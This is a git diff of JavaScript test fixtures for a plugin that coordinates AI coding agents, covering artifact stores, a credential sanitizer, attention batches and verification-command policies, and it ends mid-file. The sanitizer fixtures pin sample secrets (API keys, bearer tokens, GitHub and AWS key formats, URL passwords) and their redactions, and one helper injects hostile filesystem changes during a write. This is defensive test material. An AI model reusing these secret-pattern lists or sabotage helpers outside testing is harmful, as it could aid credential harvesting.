+capturedFreeze(loadOwnerVerificationPolicyV1); +capturedFreeze(verificationPolicyRoots); diff --git a/plugins/codex-co-engineer/test/fake-acpx.mjs b/plugins/codex-co-engineer/test/fake-acpx.mjs index 5abc777..8e5b94d 100755 --- a/plugins/codex-co-engineer/test/fake-acpx.mjs +++ b/plugins/codex-co-engineer/test/fake-acpx.mjs @@ -54,6 +54,11 @@ if (argv.some((entry) => entry === value.prompt)) { } const fakeMode = process.env.FAKE_ACPX_MODE ?? 'success'; +await writeFile( + path.join(cwd, '.fake-acpx-env-keys.json'), + `${JSON.stringify(Object.keys(process.env).sort())}\n`, + { mode: 0o600 }, +); const home = process.env.HOME; if (typeof home !== 'string' || !path.isAbsolute(home)) { process.stderr.write('task-scoped HOME is required\n'); diff --git a/plugins/codex-co-engineer/test/fixtures/r1-aggregate-run-anchor-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-aggregate-run-anchor-fixtures.mjs new file mode 100644 index 0000000..1e48b12 --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-aggregate-run-anchor-fixtures.mjs @@ -0,0 +1,158 @@ +// Neutral builders for aggregate pre-dispatch run-anchor tests. +// Tests own the assertions. These helpers never rank, default, or substitute. + +import { chmod, mkdtemp } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; + +import { IDENTITY_LABELS, runManifestDigestV1 } from '../../mcp/v3/identity.mjs'; +import { + AGGREGATE_RESOLVED_PLAN_SCHEMA_ID, + AGGREGATE_SELECTION_REPLY_SCHEMA_ID, +} from '../../mcp/v3/aggregate-run-anchor.mjs'; +import { + buildGitIdentityV1, + buildRunIdentityV1, +} from '../../mcp/v3/protected-identity.mjs'; +import { + resolveRunSelectionV1, + selectionRequestIdentity, +} from '../../mcp/v3/resolver.mjs'; +import { identityBoundDigest } from '../../mcp/v3/selection-json.mjs'; +import { + ASSIGNMENT_ID, + BASE_SHA, + REPOSITORY_PATH, + RUN_ID, +} from './r1-protected-identity-fixtures.mjs'; +import { + resolveInputs, + reviewer, + runManifest, + writer, +} from './r1-resolver-fixtures.mjs'; + +export { + ASSIGNMENT_ID, + BASE_SHA, + REPOSITORY_PATH, + RUN_ID, +}; + +export const AGGREGATE_RUN_ID = 'aggregate-run-under-test'; + +export async function makePrivateRoot(prefix = 'r1-r24a-') { + const root = await mkdtemp(path.join(tmpdir(), prefix)); + await chmod(root, 0o700); + return root; +} + +export function makeIdentity({ + runId = AGGREGATE_RUN_ID, + assignmentCount = 1, + unresolved = false, +} = {}) { + const assignments = []; + for (let index = 0; index < assignmentCount; index += 1) { + const assignmentId = assignmentCount === 1 ? ASSIGNMENT_ID : `lane-${index}`; + if (unresolved) { + assignments.push(reviewer(assignmentId, 'omitted')); + } else { + assignments.push(writer(assignmentId, [`src/${assignmentId}/**`], { + provider: 'grok', + model: 'grok-4', + })); + } + } + const manifest = runManifest(assignments, { + run_id: runId, + repository: { path: REPOSITORY_PATH, base_sha: BASE_SHA }, + }); + const manifestDigest = runManifestDigestV1(manifest).digest; + const git = buildGitIdentityV1({ + repository_path: REPOSITORY_PATH, + base_sha: BASE_SHA, + }); + const identity = buildRunIdentityV1({ + run_id: runId, + git, + manifest_digest: manifestDigest, + }); + return { + run_id: runId, + identity, + git, + manifest_digest: manifestDigest, + assignment_count: assignmentCount, + manifest, + }; +} + +export function makeSubmitInput(options) { + const built = makeIdentity(options); + return { + run_id: built.run_id, + identity: built.identity, + git: built.git, + manifest_digest: built.manifest_digest, + }; +} + +export function makeSelectionRequest(options = {}) { + const built = makeIdentity({ unresolved: true, assignmentCount: 1, ...options }); + const plan = resolveRunSelectionV1(resolveInputs(built.manifest)); + const record = plan.selection_request; + if (record === null || record === undefined) { + throw new Error('fixture expected an unresolved SelectionRequestV1'); + } + return { + record, + identity: selectionRequestIdentity(record), + plan, + }; +} + +export function makeReplyInput(runId, requestId, answers) { + return { + schema: AGGREGATE_SELECTION_REPLY_SCHEMA_ID, + run_id: runId, + request_id: requestId, + answers, + }; +} + +export function makeStoredReply(runId, requestId, answers) { + const payload = makeReplyInput(runId, requestId, answers); + return { + ...payload, + canonical_digest: identityBoundDigest(IDENTITY_LABELS.AGGREGATE_SELECTION_REPLY, payload), + }; +} + +export function makePlanInput(runId, complete = true) { + return { + schema: AGGREGATE_RESOLVED_PLAN_SCHEMA_ID, + run_id: runId, + complete, + }; +} + +export function makeStoredPlan(runId) { + const payload = makePlanInput(runId, true); + return { + ...payload, + canonical_digest: identityBoundDigest(IDENTITY_LABELS.AGGREGATE_RESOLVED_PLAN, payload), + }; +} + +export function defaultAnswers(assignmentCount = 1) { + const answers = []; + for (let index = 0; index < assignmentCount; index += 1) { + answers.push({ + assignment_id: assignmentCount === 1 ? ASSIGNMENT_ID : `lane-${index}`, + model: 'grok-4', + provider: 'grok', + }); + } + return answers; +} diff --git a/plugins/codex-co-engineer/test/fixtures/r1-aggregate-run-anchor-worker.mjs b/plugins/codex-co-engineer/test/fixtures/r1-aggregate-run-anchor-worker.mjs new file mode 100644 index 0000000..b8a7467 --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-aggregate-run-anchor-worker.mjs @@ -0,0 +1,68 @@ +// Cross-process aggregate-run-anchor worker used by concurrency tests. +// Usage: +// node r1-aggregate-run-anchor-worker.mjs [assignmentCount] +// mode is submit | request | resolution | plan +// Prints exactly one JSON result line: { ok, created, code? }. + +import { openAggregateRunAnchor } from '../../mcp/v3/aggregate-run-anchor.mjs'; +import { + defaultAnswers, + makePlanInput, + makeReplyInput, + makeSelectionRequest, + makeSubmitInput, +} from './r1-aggregate-run-anchor-fixtures.mjs'; + +const [root, mode, runId, rawCount] = process.argv.slice(2); +const assignmentCount = Number.parseInt(rawCount ?? '1', 10); + +function emit(value) { + process.stdout.write(`${JSON.stringify(value)}\n`); +} + +try { + const store = await openAggregateRunAnchor(root); + let result; + if (mode === 'submit') { + result = await store.submit(makeSubmitInput({ runId, assignmentCount })); + } else if (mode === 'request') { + const selection = makeSelectionRequest({ runId, assignmentCount }); + result = await store.commitSelectionRequest({ + run_id: runId, + expected_revision: 0, + request_identity: selection.identity, + record: selection.record, + }); + } else if (mode === 'resolution') { + const selection = makeSelectionRequest({ runId, assignmentCount }); + result = await store.commitSelectionResolution({ + run_id: runId, + expected_revision: 1, + request_identity: selection.identity, + reply_record: makeReplyInput(runId, selection.identity.request_id, defaultAnswers(assignmentCount)), + resolved_plan_record: makePlanInput(runId, true), + }); + } else if (mode === 'plan') { + result = await store.commitResolvedPlan({ + run_id: runId, + expected_revision: 0, + resolved_plan_record: makePlanInput(runId, true), + }); + } else { + throw new Error('unknown-mode'); + } + emit({ + ok: true, + created: result.created === true, + phase: result.coordination?.phase ?? null, + revision: result.coordination?.revision ?? null, + }); +} catch (error) { + emit({ + ok: false, + created: false, + code: error?.code ?? 'unknown', + path: error?.path ?? '', + }); + process.exitCode = 1; +} diff --git a/plugins/codex-co-engineer/test/fixtures/r1-approved-verification-command-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-approved-verification-command-fixtures.mjs new file mode 100644 index 0000000..46ddfcd --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-approved-verification-command-fixtures.mjs @@ -0,0 +1,85 @@ +// Shared fixtures for the W15-P16B approved-command resolver tests. +// Pure data and tiny local helpers; no I/O and no product imports beyond +// the P16A policy fixtures. + +import { + countingProxy, + trapTotal, + validCommand, + validParameterizedCommand, + validPolicy, +} from './r1-verification-policy-fixtures.mjs'; + +export { + countingProxy, + trapTotal, + validCommand, + validParameterizedCommand, + validPolicy, +}; + +export function validTypedCommand(overrides = {}) { + return validCommand({ + command_id: 'typed-run', + argv_template: [ + 'run', '--file', '{file}', '--count', '{count}', '--ok', '{ok}', + '--mode', '{mode}', '--note', '{note}', + ], + parameters: { + count: { type: 'integer', min: 0, max: 8 }, + file: { type: 'path_segment', max_bytes: 64 }, + mode: { type: 'enum', values: ['ci', 'local'] }, + note: { type: 'string', max_bytes: 32 }, + ok: { type: 'boolean' }, + }, + ...overrides, + }); +} + +export function validTypedParameters(overrides = {}) { + return { + count: 2, + file: 'spec.js', + mode: 'ci', + note: 'unit', + ok: true, + ...overrides, + }; +} + +export function validSelection(overrides = {}) { + return { + command_id: 'unit-tests', + ...overrides, + }; +} + +export function validRequest(overrides = {}) { + return { + policy: validPolicy(), + selection: validSelection(), + ...overrides, + }; +} + +export function parameterizedRequest(overrides = {}) { + return { + policy: validPolicy({ commands: [validParameterizedCommand()] }), + selection: { + command_id: 'file-tests', + parameters: { file: 'spec.js' }, + }, + ...overrides, + }; +} + +export function typedRequest(overrides = {}) { + return { + policy: validPolicy({ commands: [validTypedCommand()] }), + selection: { + command_id: 'typed-run', + parameters: validTypedParameters(), + }, + ...overrides, + }; +} diff --git a/plugins/codex-co-engineer/test/fixtures/r1-artifact-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-artifact-fixtures.mjs new file mode 100644 index 0000000..5e8ba5b --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-artifact-fixtures.mjs @@ -0,0 +1,70 @@ +// Shared fixtures for the W3-P07 artifact-reference and path-policy tests. +// Pure data and tiny local helpers only; no I/O and no product imports +// beyond the two modules under test. + +import { + ARTIFACT_REF_SCHEMA_ID, +} from '../../mcp/v3/artifact-ref.mjs'; + +export const RUN_ID = 'run-artifact-01'; +export const CHILD_A = 'lane-alpha'; +export const CHILD_B = 'lane-beta'; + +const SHA_A = 'aa'.repeat(32); +const SHA_B = 'bb'.repeat(32); + +export function validRef(overrides = {}) { + return { + schema: ARTIFACT_REF_SCHEMA_ID, + run_id: RUN_ID, + assignment_id: CHILD_A, + artifact_kind: 'git_diff', + artifact_class: 'sanitized', + relative_path: `runs/${RUN_ID}/${CHILD_A}/diff.patch`, + byte_length: 2048, + sha256: SHA_A, + media_type: 'text/plain', + content_encoding: 'identity', + ...overrides, + }; +} + +export function secondRef(overrides = {}) { + return validRef({ + assignment_id: CHILD_B, + relative_path: `runs/${RUN_ID}/${CHILD_B}/diff.patch`, + sha256: SHA_B, + ...overrides, + }); +} + +export function countingProxy(target) { + const counts = { get: 0, ownKeys: 0, getOwnPropertyDescriptor: 0, has: 0, apply: 0 }; + const proxy = new Proxy(target, { + get(inner, property, receiver) { + counts.get += 1; + return Reflect.get(inner, property, receiver); + }, + ownKeys(inner) { + counts.ownKeys += 1; + return Reflect.ownKeys(inner); + }, + getOwnPropertyDescriptor(inner, property, receiver) { + counts.getOwnPropertyDescriptor += 1; + return Reflect.getOwnPropertyDescriptor(inner, property, receiver); + }, + has(inner, property) { + counts.has += 1; + return Reflect.has(inner, property); + }, + apply() { + counts.apply += 1; + throw new Error('proxy apply must never run'); + }, + }); + return { proxy, counts }; +} + +export function trapTotal(counts) { + return counts.get + counts.ownKeys + counts.getOwnPropertyDescriptor + counts.has + counts.apply; +} diff --git a/plugins/codex-co-engineer/test/fixtures/r1-artifact-reader-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-artifact-reader-fixtures.mjs new file mode 100644 index 0000000..7307abc --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-artifact-reader-fixtures.mjs @@ -0,0 +1,58 @@ +// Reader-only fixtures for the P10 bounded sanitized reader. +// +// Builds on P08-published sanitized artifacts. The only product imports +// are the accepted P07/P08 modules and the reader under test; nothing +// here imports or mocks P09 sanitizer internals. + +import { + makeStoreRoot, + refFor, + removeRoot, + digestOf, + RUN_ID, + CHILD_A, + CHILD_B, +} from './r1-artifact-store-fixtures.mjs'; +import { countingProxy, validRef } from './r1-artifact-fixtures.mjs'; +import { openArtifactStoreV1 } from '../../mcp/v3/artifact-store.mjs'; + +export { + CHILD_A, + CHILD_B, + RUN_ID, + countingProxy, + digestOf, + makeStoreRoot, + refFor, + removeRoot, + validRef, +}; + +export function decodeSelected(page) { + return Buffer.from(page.selected_content, 'base64'); +} + +export async function withStore(fn) { + const root = makeStoreRoot('cce-p10-reader-'); + try { + const store = await openArtifactStoreV1({ root }); + return await fn({ root, store }); + } finally { + removeRoot(root); + } +} + +export async function withPublished(bytes, overrides, fn) { + return withStore(async ({ root, store }) => { + const ref = refFor(bytes, { artifact_class: 'sanitized', ...overrides }); + const receipt = await store.publish(ref, bytes); + return fn({ root, store, ref, bytes, receipt }); + }); +} + +// A legal relative path long enough that a max-range page can exceed the +// reader wire cap and force reader-side clipping. +export function longRelativePath() { + const segment = 'seg-' + 'n'.repeat(120); + return `runs/${segment}/${segment}/${segment}/${segment}/${segment}/${segment}/wide.bin`; +} diff --git a/plugins/codex-co-engineer/test/fixtures/r1-artifact-sanitizer-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-artifact-sanitizer-fixtures.mjs new file mode 100644 index 0000000..edb3fd1 --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-artifact-sanitizer-fixtures.mjs @@ -0,0 +1,260 @@ +// Fixtures for the W5-P09 streaming artifact sanitizer tests. +// +// Pure data builders, tiny local helpers, and pinned expected projections. +// Store-root helpers use the caller's temporary directory only. Product +// imports are limited to the accepted P07 schema id so fixtures cannot mask +// a sanitizer defect with sanitizer-owned code. + +import { createHash } from 'node:crypto'; +import { mkdtempSync, rmSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; + +import { ARTIFACT_REF_SCHEMA_ID } from '../../mcp/v3/artifact-ref.mjs'; + +export const RUN_ID = 'run-sanitize-01'; +export const CHILD_A = 'lane-alpha'; +export const CHILD_B = 'lane-beta'; + +export const REPLACEMENT = '[REDACTED]'; + +export function digestOf(bytes) { + return createHash('sha256').update(bytes).digest('hex'); +} + +export function makeStoreRoot(prefix = 'cce-p09-sanitizer-') { + return mkdtempSync(path.join(tmpdir(), prefix), { mode: 0o700 }); +} + +export function removeRoot(root) { + rmSync(root, { recursive: true, force: true }); +} + +export function rawRefFor(bytes, overrides = {}) { + return { + schema: ARTIFACT_REF_SCHEMA_ID, + run_id: RUN_ID, + assignment_id: CHILD_A, + artifact_kind: 'git_diff', + artifact_class: 'raw', + relative_path: `runs/${RUN_ID}/${CHILD_A}/artifact.txt`, + byte_length: bytes.byteLength, + sha256: digestOf(bytes), + media_type: 'text/plain', + content_encoding: 'identity', + ...overrides, + }; +} + +export function chunksOf(bytes, count = 3) { + const size = Math.max(1, Math.ceil(bytes.byteLength / count)); + async function* generate() { + for (let offset = 0; offset < bytes.byteLength; offset += size) { + yield bytes.subarray(offset, Math.min(offset + size, bytes.byteLength)); + } + } + return generate(); +} + +export function splitAt(bytes, offset) { + const point = Math.max(0, Math.min(offset, bytes.byteLength)); + async function* generate() { + if (point > 0) yield bytes.subarray(0, point); + if (point < bytes.byteLength) yield bytes.subarray(point); + } + return generate(); +} + +export function byteSplits(bytes) { + async function* generate() { + for (let offset = 0; offset < bytes.byteLength; offset += 1) { + yield bytes.subarray(offset, offset + 1); + } + } + return generate(); +} + +export function emptyStream() { + async function* generate() {} + return generate(); +} + +export function stringChunkSource(text = 'text not bytes') { + async function* generate() { yield text; } + return generate(); +} + +export function shortSource(total, keep = 1) { + async function* generate() { + yield Buffer.alloc(Math.min(keep, total), 0x61); + } + return generate(); +} + +export function endlessSource(fill = 0x61) { + async function* generate() { + while (true) { + yield Buffer.alloc(4096, fill); + } + } + return generate(); +} + +export function throwingSource(failure) { + async function* generate() { + yield Buffer.from('first chunk'); + throw failure; + } + return generate(); +} + +export function accessorIterable(trapLog) { + return { + get [Symbol.asyncIterator]() { + trapLog.iteratorGetter += 1; + throw new Error('accessor iterator getter must never run'); + }, + }; +} + +export class SubclassedBytes extends Uint8Array {} + +// ---- Pinned secret samples and their expected projections. ----------------- + +export const SAMPLES = Object.freeze({ + plain: Object.freeze({ + raw: Buffer.from('authoritative artifact text for P09\n', 'utf8'), + sanitized: Buffer.from('authoritative artifact text for P09\n', 'utf8'), + counts: Object.freeze({ + credential_formats: 0, + bearer_credentials: 0, + env_assignments: 0, + url_credentials: 0, + prompts: 0, + }), + }), + credentialFormat: Object.freeze({ + raw: Buffer.from('token sk-live-secret-1234567890 trailing\n', 'utf8'), + sanitized: Buffer.from(`token ${REPLACEMENT} trailing\n`, 'utf8'), + counts: Object.freeze({ + credential_formats: 1, + bearer_credentials: 0, + env_assignments: 0, + url_credentials: 0, + prompts: 0, + }), + }), + bearer: Object.freeze({ + raw: Buffer.from('Authorization: Bearer abcdefghijklmnop.qrstuv\n', 'utf8'), + sanitized: Buffer.from(`Authorization: Bearer ${REPLACEMENT}\n`, 'utf8'), + counts: Object.freeze({ + credential_formats: 0, + bearer_credentials: 1, + env_assignments: 0, + url_credentials: 0, + prompts: 0, + }), + }), + envAssignment: Object.freeze({ + raw: Buffer.from('export API_KEY=super-secret-value\n', 'utf8'), + sanitized: Buffer.from(`export API_KEY=${REPLACEMENT}\n`, 'utf8'), + counts: Object.freeze({ + credential_formats: 0, + bearer_credentials: 0, + env_assignments: 1, + url_credentials: 0, + prompts: 0, + }), + }), + urlCredential: Object.freeze({ + raw: Buffer.from('clone https://user:passwd@example.test/repo.git\n', 'utf8'), + sanitized: Buffer.from(`clone https://${REPLACEMENT}@example.test/repo.git\n`, 'utf8'), + counts: Object.freeze({ + credential_formats: 0, + bearer_credentials: 0, + env_assignments: 0, + url_credentials: 1, + prompts: 0, + }), + }), + prompt: Object.freeze({ + raw: Buffer.from('{"prompt": "do not echo this instruction"}\n', 'utf8'), + sanitized: Buffer.from(`{"prompt": ${REPLACEMENT}}\n`, 'utf8'), + counts: Object.freeze({ + credential_formats: 0, + bearer_credentials: 0, + env_assignments: 0, + url_credentials: 0, + prompts: 1, + }), + }), + mixed: Object.freeze({ + raw: Buffer.from( + 'Bearer abcdefghijklmnop API_KEY=xyz https://u:p@host sk-abcdefghijkl prompt: "secret"\n', + 'utf8', + ), + sanitized: Buffer.from( + `Bearer ${REPLACEMENT} API_KEY=${REPLACEMENT} https://${REPLACEMENT}@host ${REPLACEMENT} prompt: ${REPLACEMENT}\n`, + 'utf8', + ), + counts: Object.freeze({ + credential_formats: 1, + bearer_credentials: 1, + env_assignments: 1, + url_credentials: 1, + prompts: 1, + }), + }), + github: Object.freeze({ + raw: Buffer.from('ghs_abcdefghijklmnop and github_pat_abcdefghijklmnop\n', 'utf8'), + sanitized: Buffer.from(`${REPLACEMENT} and ${REPLACEMENT}\n`, 'utf8'), + counts: Object.freeze({ + credential_formats: 2, + bearer_credentials: 0, + env_assignments: 0, + url_credentials: 0, + prompts: 0, + }), + }), + aws: Object.freeze({ + raw: Buffer.from('id AKIAIOSFODNN7EXAMPLE extra\n', 'utf8'), + sanitized: Buffer.from(`id ${REPLACEMENT} extra\n`, 'utf8'), + counts: Object.freeze({ + credential_formats: 1, + bearer_credentials: 0, + env_assignments: 0, + url_credentials: 0, + prompts: 0, + }), + }), + cursorKey: Object.freeze({ + raw: Buffer.from('key crsr_abcdefghijkl extra\n', 'utf8'), + sanitized: Buffer.from(`key ${REPLACEMENT} extra\n`, 'utf8'), + counts: Object.freeze({ + credential_formats: 1, + bearer_credentials: 0, + env_assignments: 0, + url_credentials: 0, + prompts: 0, + }), + }), + astral: Object.freeze({ + raw: Buffer.from('wolf 🐺 and café\n', 'utf8'), + sanitized: Buffer.from('wolf 🐺 and café\n', 'utf8'), + counts: Object.freeze({ + credential_formats: 0, + bearer_credentials: 0, + env_assignments: 0, + url_credentials: 0, + prompts: 0, + }), + }), +}); + +export const MALFORMED_RAW = Buffer.from([0x61, 0xff, 0x62, 0x0a]); +export const MALFORMED_SANITIZED = Buffer.from('a\uFFFDb\n', 'utf8'); + +// U+D800 encoded as UTF-8 (ED A0 80) is malformed; the streaming decoder +// emits one U+FFFD per invalid unit, which is three replacements here. +export const UNPAIRED_RAW = Buffer.from([0x61, 0xed, 0xa0, 0x80, 0x62, 0x0a]); +export const UNPAIRED_SANITIZED = Buffer.from('a\uFFFD\uFFFD\uFFFDb\n', 'utf8'); diff --git a/plugins/codex-co-engineer/test/fixtures/r1-artifact-store-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-artifact-store-fixtures.mjs new file mode 100644 index 0000000..8a73553 --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-artifact-store-fixtures.mjs @@ -0,0 +1,140 @@ +// Shared fixtures for the W4-P08 atomic artifact store tests. +// +// Pure data builders plus tiny local helpers over the caller's own temporary +// directories. The only product imports are the two accepted P07 modules, so +// fixtures cannot mask a store defect with store-owned code. + +import { mkdtempSync, rmSync } from 'node:fs'; +import { createHash } from 'node:crypto'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; + +import { + ARTIFACT_REF_SCHEMA_ID, +} from '../../mcp/v3/artifact-ref.mjs'; + +export const RUN_ID = 'run-store-01'; +export const CHILD_A = 'lane-alpha'; +export const CHILD_B = 'lane-beta'; + +const SHA_A = 'aa'.repeat(32); + +export function digestOf(bytes) { + return createHash('sha256').update(bytes).digest('hex'); +} + +// A private fresh store root under the system temporary directory. +export function makeStoreRoot(prefix = 'cce-p08-store-') { + return mkdtempSync(path.join(tmpdir(), prefix), { mode: 0o700 }); +} + +export function removeRoot(root) { + rmSync(root, { recursive: true, force: true }); +} + +export function refFor(bytes, overrides = {}) { + return { + schema: ARTIFACT_REF_SCHEMA_ID, + run_id: RUN_ID, + assignment_id: CHILD_A, + artifact_kind: 'git_diff', + artifact_class: 'sanitized', + relative_path: `runs/${RUN_ID}/${CHILD_A}/diff.patch`, + byte_length: bytes.length, + sha256: digestOf(bytes), + media_type: 'text/plain', + content_encoding: 'identity', + ...overrides, + }; +} + +export const staticRef = (overrides = {}) => refFor(Buffer.from('fixture bytes'), overrides); + +// ---- Byte sources ---------------------------------------------------------- + +export function chunksOf(bytes, count = 3) { + const size = Math.max(1, Math.ceil(bytes.length / count)); + async function* generate() { + for (let offset = 0; offset < bytes.length; offset += size) { + yield bytes.subarray(offset, Math.min(offset + size, bytes.length)); + } + } + return generate(); +} + +export function emptyStream() { + async function* generate() {} + return generate(); +} + +export function stringChunkSource(text = 'text not bytes') { + async function* generate() { yield text; } + return generate(); +} + +// Yields only `keep` of the declared `total` bytes: a short stream. +export function shortSource(total, keep = 1) { + async function* generate() { + yield Buffer.alloc(Math.min(keep, total), 0x61); + } + return generate(); +} + +// An endless stream of one-byte chunks: only the class cap may stop it. +export function endlessSource(fill = 0x62) { + async function* generate() { + while (true) { + yield Buffer.alloc(1, fill); + await new Promise((resolve) => setImmediate(resolve)); + } + } + return generate(); +} + +// A stream that grows past any declared length but stays inside raw caps. +export function growingSource(target) { + async function* generate() { + let sent = 0; + while (sent < target + 4096) { + yield Buffer.alloc(64, 0x63); + sent += 64; + await new Promise((resolve) => setImmediate(resolve)); + } + } + return generate(); +} + +export function throwingSource(failure) { + async function* generate() { + yield Buffer.from('first chunk'); + throw failure; + } + return generate(); +} + +// Mid-publication sabotage: after the first chunk, run an arbitrary side +// effect against the filesystem, then keep streaming. This deterministically +// interleaves hostile tree mutation into the middle of a publication. +export function sabotagingSource(sideEffect) { + async function* generate() { + yield Buffer.from('first chunk'); + await sideEffect(); + yield Buffer.from('second chunk'); + } + return generate(); +} + +// Accessor-dressed async iterable: Symbol.asyncIterator is a getter whose +// trap records that it ran. Accepting this would execute caller code. +export function accessorIterable(trapLog) { + return { + get [Symbol.asyncIterator]() { + trapLog.iteratorGetter += 1; + throw new Error('accessor iterator getter must never run'); + }, + }; +} + +// A subclassed view: prototype is neither Uint8Array.prototype nor +// Buffer.prototype, so its length surface is not intrinsic. +export class SubclassedBytes extends Uint8Array {} diff --git a/plugins/codex-co-engineer/test/fixtures/r1-attention-batch-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-attention-batch-fixtures.mjs new file mode 100644 index 0000000..f9636db --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-attention-batch-fixtures.mjs @@ -0,0 +1,218 @@ +// Neutral builders for AttentionBatchV1 tests. Tests own the assertions. + +import { chmod, mkdtemp } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; + +import { + ATTENTION_BATCH_SCHEMA_ID, + attentionQuestionDigestV1, + deriveAttentionBatchIdV1, + openAttentionRoot, +} from '../../mcp/v3/attention-batch.mjs'; +import { RUN_JOURNAL_GENESIS_PREV } from '../../mcp/v3/run-reducer.mjs'; + +export const RUN_ID = 'run-attention-main'; +export const ASSIGNMENT_A = 'assign-a'; +export const ASSIGNMENT_B = 'assign-b'; +export const ASSIGNMENT_C = 'assign-c'; +export const TASK_A = 'task-a0'; +export const TASK_B = 'task-b0'; +export const TASK_C = 'task-c0'; +export const SESSION_A = 'sess-a0'; +export const SESSION_B = 'sess-b0'; +export const SESSION_C = 'sess-c0'; +export const QUESTION_A = 'q-a0'; +export const QUESTION_B = 'q-b0'; +export const QUESTION_C = 'q-c0'; +export const CURSOR_A = '0'; +export const CURSOR_B = '24'; +export const CURSOR_C = '48'; +export const HOSTILE_SECRET = 'sk-live-ATTACKER-SECRET'; +export const HOSTILE_PATH = '/tmp/hostile-repo'; +export const HOSTILE_TOKEN = 'github_pat_hostile'; + +export { ATTENTION_BATCH_SCHEMA_ID, RUN_JOURNAL_GENESIS_PREV }; + +export async function makePrivateRoot(prefix = 'r1-p34-attention-') { + const root = await mkdtemp(path.join(tmpdir(), prefix)); + await chmod(root, 0o700); + return root; +} + +export async function openRoot(prefix) { + const root = await makePrivateRoot(prefix); + const handle = await openAttentionRoot(root); + return { root, handle }; +} + +export function makeCursor({ + assignmentId = ASSIGNMENT_A, + taskId = TASK_A, + eventCursor = CURSOR_A, +} = {}) { + return { + assignment_id: assignmentId, + task_id: taskId, + event_cursor: eventCursor, + }; +} + +export function makeSource({ + journalRevision = 2, + journalHeadHash = `sha256:${'ab'.repeat(32)}`, + cursors = [makeCursor()], +} = {}) { + return { + journal_revision: journalRevision, + journal_head_hash: journalHeadHash, + task_cursors: cursors, + }; +} + +export function makeItem({ + assignmentId = ASSIGNMENT_A, + taskId = TASK_A, + provider = 'grok', + required = true, + sessionId = SESSION_A, + questionId = QUESTION_A, + eventCursor = CURSOR_A, + prompt = 'Choose the next writer step', + options = ['continue', 'stop'], + disposition = 'pending', + deadlineAt = null, +} = {}) { + const replyCapability = provider === 'dsh' || provider === 'cursor-cloud' + ? 'unsupported' + : 'same_session'; + const item = { + assignment_id: assignmentId, + task_id: taskId, + provider, + required, + session_id: sessionId, + question_id: questionId, + event_cursor: eventCursor, + question_digest: 'sha256:' + '00'.repeat(32), + prompt, + options, + reply_capability: replyCapability, + disposition, + deadline_at: deadlineAt, + }; + item.question_digest = attentionQuestionDigestV1(item); + return item; +} + +export function grokItem(overrides = {}) { + return makeItem({ provider: 'grok', ...overrides }); +} + +export function cursorLocalItem(overrides = {}) { + return makeItem({ + assignmentId: ASSIGNMENT_B, + taskId: TASK_B, + provider: 'cursor-local', + sessionId: SESSION_B, + questionId: QUESTION_B, + eventCursor: CURSOR_B, + ...overrides, + }); +} + +export function dshItem(overrides = {}) { + return makeItem({ + assignmentId: ASSIGNMENT_B, + taskId: TASK_B, + provider: 'dsh', + sessionId: SESSION_B, + questionId: QUESTION_B, + eventCursor: CURSOR_B, + prompt: 'DSH cannot host a same-session reply', + options: null, + ...overrides, + }); +} + +export function cloudItem(overrides = {}) { + return makeItem({ + assignmentId: ASSIGNMENT_C, + taskId: TASK_C, + provider: 'cursor-cloud', + sessionId: SESSION_C, + questionId: QUESTION_C, + eventCursor: CURSOR_C, + prompt: 'Cloud cannot host a same-session reply', + options: null, + required: true, + ...overrides, + }); +} + +export function itemsAndSource(items) { + const sorted = [...items].sort((left, right) => { + if (left.assignment_id < right.assignment_id) return -1; + if (left.assignment_id > right.assignment_id) return 1; + return 0; + }); + return { + items: sorted, + source: makeSource({ + cursors: sorted.map((item) => makeCursor({ + assignmentId: item.assignment_id, + taskId: item.task_id, + eventCursor: item.event_cursor, + })), + }), + }; +} + +export function batchIdFor(runId, source, items) { + return deriveAttentionBatchIdV1(runId, source, items); +} + +export function makeAnswer(item, response = 'continue') { + return { + assignment_id: item.assignment_id, + task_id: item.task_id, + session_id: item.session_id, + question_id: item.question_id, + response, + }; +} + +export function makeReply(batchId, items, response = 'continue') { + return { + batch_id: batchId, + round: 1, + answers: items.map((item) => makeAnswer(item, response)), + }; +} + +export function trackingCancel(outcome = 'confirmed') { + const calls = []; + const cancel = async (identity) => { + calls.push(identity); + return { outcome, ...identity }; + }; + return { cancel, calls }; +} + +export function trackingDeliver(outcome = 'delivered') { + const calls = []; + const deliver = async (identity) => { + calls.push(identity); + return { outcome, ...identity }; + }; + return { deliver, calls }; +} + +export function failingDeliver() { + const calls = []; + const deliver = async (identity) => { + calls.push(identity); + throw new Error(HOSTILE_SECRET); + }; + return { deliver, calls }; +} diff --git a/plugins/codex-co-engineer/test/fixtures/r1-constrained-verification-runner-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-constrained-verification-runner-fixtures.mjs new file mode 100644 index 0000000..0f1861e --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-constrained-verification-runner-fixtures.mjs @@ -0,0 +1,188 @@ +// Shared fixtures for the W16-P16C constrained verification-runner tests. +// Hostile local helpers and injected process/Git boundaries. No product +// imports beyond P16A/P16B and no real external network. + +import { EventEmitter } from 'node:events'; +import { chmod, lstat, mkdir, mkdtemp, realpath, rm, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; +import { PassThrough } from 'node:stream'; +import { execFile as execFileCallback } from 'node:child_process'; +import { promisify } from 'node:util'; + +import { resolveApprovedVerificationCommandV1 } from '../../mcp/v3/approved-verification-command.mjs'; +import { + countingProxy, + 